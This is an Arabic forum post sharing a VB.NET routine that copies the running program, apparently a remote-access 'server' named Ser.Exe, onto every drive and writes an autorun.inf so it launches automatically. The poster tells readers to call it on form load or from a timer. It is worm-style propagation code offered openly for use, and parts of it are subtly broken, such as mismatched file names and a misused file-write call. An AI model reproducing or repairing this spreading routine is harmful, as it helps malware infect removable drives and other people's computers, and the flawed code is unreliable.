إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 2012-04-09, 04:01 AM
الصورة الرمزية صوتك يناديني
| صوتك يناديني  صوتك يناديني غير متواجد حالياً

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي [vb.net] حصريآآ انتشار في ال usb وتشغيل تلقائي [vb.net]

السلام عليكم ورحمة الله وبركاته

اخبار احلى اعضاء ..؟

المهم غبنا كثير ومانزلنا مواضيع واليوم حاب انزل كود انتشار بسيط في ال USB وجميع الاقراص

وتشغيل تلقائي (AutoRun)


الكود طبعا من برمجتي




هنا الكود مع الشرح التفصيلي

كود:
Sub usb()
'Coded By CaRlos / old Name Toto
'Www.dev-point.com/vb
' My Email : Pic@hotmail.Com
' اي خطا يجي تجاوزه واستمر في الكود
On Error Resume Next
' يجلب جميع اسمء الاقراص
For Each x In IO.DriveInfo.GetDrives
' يفصل بين كل اسم قرص بفاصلة ,
Dim xx As String = x.ToString & ","
' يقوم ب فصل جميع الاقراص
Dim s As String() = Split(xx, ",")
' اسم السيرفر
Dim n As String = "Ser.Exe"
' محتوى ال اوتورن
Dim run As String = ""
run += "[AutoRun]" & vbNewLine
run += "open=AutoRun.exe" & vbNewLine
run += "icon=nameicon.ico"
' تدخيل اسماء الاقراص الى حلقة فور
For i = 0 To s.Length - 1
' ينسخ البرنامج الى جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر
IO.File.Copy(Application.ExecutablePath, s(i) & n, True)
' يقوم بانشاء الاتورون بصيغة inf
IO.File.WriteAllText(s(i), run & "autorun.inf")
Next
Next
End Sub
شرح الاستخدام

اكتب في حدث الفورم لواد او تايمر

كود:
usb()
اي استفسار انا مستعد

في امان الله


:32:










__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
وتشغيل, çل, انتشار, تلقائي, حصريآآ, usb, vbnet, في



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع


[vb.net] حصريآآ انتشار في ال usb وتشغيل تلقائي [vb.net]




الساعة الآن 11:34 PM


Powered by vBulletin Copyright ©2000 - 2014